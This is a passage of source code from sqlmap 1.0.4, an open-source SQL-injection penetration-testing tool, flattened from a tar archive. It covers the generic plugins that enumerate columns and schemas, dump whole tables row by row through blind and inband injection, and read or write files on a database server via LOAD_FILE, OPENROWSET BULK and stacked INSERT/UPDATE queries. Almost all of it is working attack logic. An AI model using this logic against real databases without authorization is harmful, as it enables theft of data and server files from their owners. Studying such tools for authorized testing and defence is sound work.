logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None query = agent.limitQuery(index, query, field, field) column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(colType, colType) column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) try: pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() finally: conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns def _tableGetCount(self, db, table): if not db or not table: return None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] def getCount(self): if not conf.tbl: warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" logger.warn(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) logger.warn(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: for table in conf.tbl.split(","): self._tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: self._tableGetCount(db, table) return kb.data.cachedCounts sqlmap-1.0.4/plugins/generic/entries.py000066400000000000000000000557141270044205500201440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import prioritySortColumns from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable from lib.utils.pivotdumptable import whereQuery class Entries: """ This class defines entries' enumeration functionalities for plugins. """ def __init__(self): pass def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = whereQuery(query) if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) query = whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)) lengths[column] = max(lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} try: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpTable = None def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = { None: kb.data.cachedTables } for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("y", "Y"): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tblData in dbs.items(): if tblData: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromDbs = dbs.keys() elif test in ("q", "Q"): return else: dumpFromDbs = test.replace(" ", "").split(",") for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tblData: message += "[%s]\n" % tbl message += "[s]kip\n" message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromTbls = tblData elif test in ("s", "S"): continue elif test in ("q", "Q"): return else: dumpFromTbls = test.replace(" ", "").split(",") for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table colList = filter(None, sorted(columns)) if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] conf.col = ",".join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable(dbs) if data: conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): message = "do you want to dump tables' entries? [Y/n] " output = readInput(message, default="Y") if output and output[0].lower() != "y": return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tablesList in tables.items(): if tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" test = readInput(message, default="a") if not test or test.lower() == "a": dumpFromDbs = tables.keys() elif test.lower() == "q": return else: dumpFromDbs = test.replace(" ", "").split(",") for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) message += "[s]kip\n" message += "[q]uit" test = readInput(message, default="a") if not test or test.lower() == "a": dumpFromTbls = tablesList elif test.lower() == "s": continue elif test.lower() == "q": return else: dumpFromTbls = test.replace(" ", "").split(",") for table in dumpFromTbls: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable() if data: conf.dumper.dbTableValues(data) sqlmap-1.0.4/plugins/generic/enumeration.py000066400000000000000000000052051270044205500210070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.session import setOs from lib.parse.banner import bannerParser from lib.request import inject from plugins.generic.custom import Custom from plugins.generic.databases import Databases from plugins.generic.entries import Entries from plugins.generic.search import Search from plugins.generic.users import Users class Enumeration(Custom, Databases, Entries, Search, Users): """ This class defines generic enumeration functionalities for plugins. """ def __init__(self): kb.data.has_information_schema = False kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None kb.data.characterSet = None Custom.__init__(self) Databases.__init__(self) Entries.__init__(self) Search.__init__(self) Users.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner def getHostname(self): infoMsg = "fetching server hostname" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].hostname.query if not kb.data.hostname: kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.hostname sqlmap-1.0.4/plugins/generic/filesystem.py000066400000000000000000000264631270044205500206560ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import sys from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue from lib.core.common import getUnicode from lib.core.common import isNumPosStrValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod from lib.request import inject class Filesystem: """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): self.fileTblName = "sqlmapfile" self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)); lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding()) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process' user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ counter = 0 sqlQueries = [] for fcEncodedLine in fcEncodedList: if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ with open(fileName, "rb") as f: content = f.read() return self.fileContentEncode(content, encoding, single, chunkSize) def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] if encoding: content = content.encode(encoding).replace("\n", "") if not single: if len(content) > chunkSize: for i in xrange(0, len(content), chunkSize): _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ elif encoding == "base64": _ = "'%s'" % _ retVal.append(_) if not retVal: if encoding == "hex": content = "0x%s" % content elif encoding == "base64": content = "'%s'" % content retVal = [content] return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): output = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system ('%s')? [Y/n] " % remoteFile output = readInput(message, default="Y") if forceCheck or (output and output.lower() == "y"): return self._checkFileLength(localFile, remoteFile) return True def askCheckReadFile(self, localFile, remoteFile): message = "do you want confirmation that the remote file '%s' " % remoteFile message += "has been successfully downloaded from the back-end " message += "DBMS file system? [Y/n] " output = readInput(message, default="Y") if not output or output in ("y", "Y"): return self._checkFileLength(localFile, remoteFile, True) return None def nonStackedReadFile(self, remoteFile): errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedReadFile(self, remoteFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def readFile(self, remoteFiles): localFilePaths = [] self.checkDbmsOs() for remoteFile in remoteFiles.split(","): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to read the file with a non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) fileContent = self.nonStackedReadFile(remoteFile) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to read files from the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) fileContent = None kb.fileReadMode = False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) elif isListLike(fileContent): newFileContent = "" for chunk in fileContent: if isListLike(chunk): if len(chunk) > 0: chunk = chunk[0] else: chunk = "" if chunk: newFileContent += chunk fileContent = newFileContent if fileContent is not None: fileContent = decodeHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) sameFile = self.askCheckReadFile(localFilePath, remoteFile) if sameFile is True: localFilePath += " (same file)" elif sameFile is False: localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) else: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False checkFile(localFile) self.checkDbmsOs() if localFile.endswith('_'): localFile = decloakToTemp(localFile) if conf.direct or 